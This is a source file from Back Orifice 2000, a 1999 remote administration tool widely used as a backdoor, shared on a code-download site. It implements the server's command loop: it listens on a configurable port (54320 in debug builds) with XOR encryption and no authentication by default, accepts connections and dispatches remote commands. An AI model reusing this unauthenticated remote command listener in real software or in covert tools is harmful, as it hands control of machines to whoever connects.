commandloop.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:6k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<auth.h>
  17. #include<iohandler.h>
  18. #include<encryption.h>
  19. #include<bocomreg.h>
  20. #include<commnet.h>
  21. #include<commandloop.h>
  22. #include<config.h>
  23. // ---------------- Global variables ----------------
  24. CIOHandler *g_pIOHandler;
  25. CEncryptionHandler *g_pEncryptionHandler;
  26. CAuthHandler *g_pAuthHandler;
  27. CAuthSocket *g_pCommSock[MAX_COMMAND_SOCKETS];
  28. CAuthSocket *g_pConnSock[MAX_COMMAND_CONNECTIONS];
  29. int g_nCommCount, g_nConnCount;
  30. #ifdef NDEBUG
  31. char g_szStartupOptions[]= "<**CFG**>Startup"
  32. "S[8]:Init Cmd Net Type=TCPIO"
  33.     "S[48]:Init Cmd Bind Str="
  34.     "S[8]:Init Cmd Encryption=XOR"
  35.     "S[8]:Init Cmd Auth=NULLAUTH"
  36.     "N[0,5000000]:Idle Timeout (ms)=60000";
  37. #else
  38. char g_szStartupOptions[]= "<**CFG**>Startup"
  39. "S[8]:Init Cmd Net Type=TCPIO"
  40.     "S[48]:Init Cmd Bind Str=54320"
  41.     "S[8]:Init Cmd Encryption=XOR"
  42.     "S[8]:Init Cmd Auth=NULLAUTH"
  43.     "N[0,5000000]:Idle Timeout (ms)=60000";
  44. #endif
  45. BOOL g_bBO2KFinished; // Set this to -TRUE- when you want to exit BO2K
  46. // ---------------- Function implementations --------------------
  47. BOOL StartupCommandHandlers(void)
  48. {
  49. char svParam[256];
  50. // Initialize primary command socket
  51. g_nCommCount=0;
  52. g_nConnCount=0;
  53. svParam[0]='';
  54. // Don't even start up unless user has configured a port to talk on.
  55. // This keeps the 31337 phenomena from happening.
  56. char *bindstr=GetCfgStr(g_szStartupOptions,"Init Cmd Bind Str");
  57. if(bindstr==NULL) return FALSE;
  58. if(bindstr[0]=='') {
  59. return FALSE;
  60. }
  61. CAuthSocket *cas;
  62. do {
  63. cas=ListenAuthSocket(NULL,0,NULL,
  64. bindstr,
  65. GetCfgStr(g_szStartupOptions,"Init Cmd Net Type"),
  66. GetCfgStr(g_szStartupOptions,"Init Cmd Encryption"),
  67. GetCfgStr(g_szStartupOptions,"Init Cmd Auth"));
  68. if(cas!=NULL && cas!=(CAuthSocket *)0xFFFFFFFF) {
  69. g_pCommSock[g_nCommCount]=cas;
  70. g_nCommCount++;
  71. return TRUE;
  72. }
  73. Sleep(100);
  74. } while(cas!=NULL && cas!=(CAuthSocket *)0xFFFFFFFF);
  75. return FALSE;
  76. }
  77. void ShutdownCommandHandlers(void)
  78. {
  79. int i;
  80. // Close all connections
  81. for(i=0;i<g_nConnCount;i++) {
  82. g_pConnSock[i]->Close();
  83. delete g_pConnSock[i];
  84. }
  85. // Terminate all bound sockets
  86. for(i=0;i<g_nCommCount;i++) {
  87. g_pCommSock[i]->Close();
  88. delete g_pCommSock[i];
  89. }
  90. }
  91. void CommandHandlerLoop(void)
  92. {
  93. BYTE *buffer;
  94. int buflen,ret,i,j;
  95. DWORD dwLastTime,dwTimeout;
  96. BOOL bIdle;
  97. // Start the command handlers
  98. if(StartupCommandHandlers()==FALSE) return;
  99. // Lower Thread Priority
  100. SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_NORMAL);
  101. // Command handler loop
  102. g_bBO2KFinished=FALSE;
  103. dwLastTime=GetTickCount();
  104. dwTimeout=GetCfgNum(g_szStartupOptions,"Idle Timeout (ms)");
  105. bIdle=FALSE;
  106. while(!g_bBO2KFinished) {
  107. if(dwTimeout!=0) {
  108. if(!bIdle && ((GetTickCount()-dwLastTime)>dwTimeout)) {
  109. SetPriorityClass(GetCurrentProcess(),IDLE_PRIORITY_CLASS);
  110. SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_IDLE);
  111. bIdle=TRUE;
  112. }
  113. }
  114. // Sift through bound sockets looking for connections
  115. for(i=0; i<g_nCommCount; i++) {
  116. CAuthSocket *cas;
  117. cas=g_pCommSock[i]->Accept();
  118. if(cas!=NULL) {
  119. if(g_nConnCount<MAX_COMMAND_CONNECTIONS) {
  120. dwLastTime=GetTickCount();
  121. if(bIdle) {
  122. SetPriorityClass(GetCurrentProcess(),NORMAL_PRIORITY_CLASS);
  123. SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_NORMAL);
  124. bIdle=FALSE;
  125. }
  126. g_pConnSock[g_nConnCount]=cas;
  127. g_nConnCount++;
  128. } else {
  129. cas->Close();
  130. delete cas;
  131. }
  132. }
  133. }
  134. // Sift through active connections pulling commands
  135. // and removing dead connections
  136. for(i=(g_nConnCount-1);i>=0;i--) {
  137. ret=g_pConnSock[i]->Recv(&buffer,&buflen);
  138. if(ret<0) {
  139. // Must be dead. Kill.
  140. g_pConnSock[i]->Close();
  141. delete g_pConnSock[i];
  142. for(j=i;j<(g_nConnCount-1);j++) {
  143. g_pConnSock[j]=g_pConnSock[j+1];
  144. }
  145. g_pConnSock[j]=NULL;
  146. g_nConnCount--;
  147. }
  148. else if(ret==0) {
  149. // Nothing here, move along
  150. }
  151. else {
  152. dwLastTime=GetTickCount();
  153. if(bIdle) {
  154. SetPriorityClass(GetCurrentProcess(),NORMAL_PRIORITY_CLASS);
  155. SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_LOWEST);
  156. bIdle=FALSE;
  157. }
  158. // Command received
  159. int cmdlen,command,comid,nArg1;
  160. char *svArg2,*svArg3;
  161. BreakDownCommand(buffer, &cmdlen, &command, &comid, &nArg1, &svArg2, &svArg3);
  162. if(cmdlen==buflen) {
  163. DispatchCommand(command, g_pConnSock[i],comid,nArg1,svArg2,svArg3);
  164. }
  165. // Free command memory
  166. g_pConnSock[i]->Free(buffer);
  167. }
  168. }
  169. Sleep(20);
  170. }
  171. // Terminate command handlers
  172. ShutdownCommandHandlers();
  173. }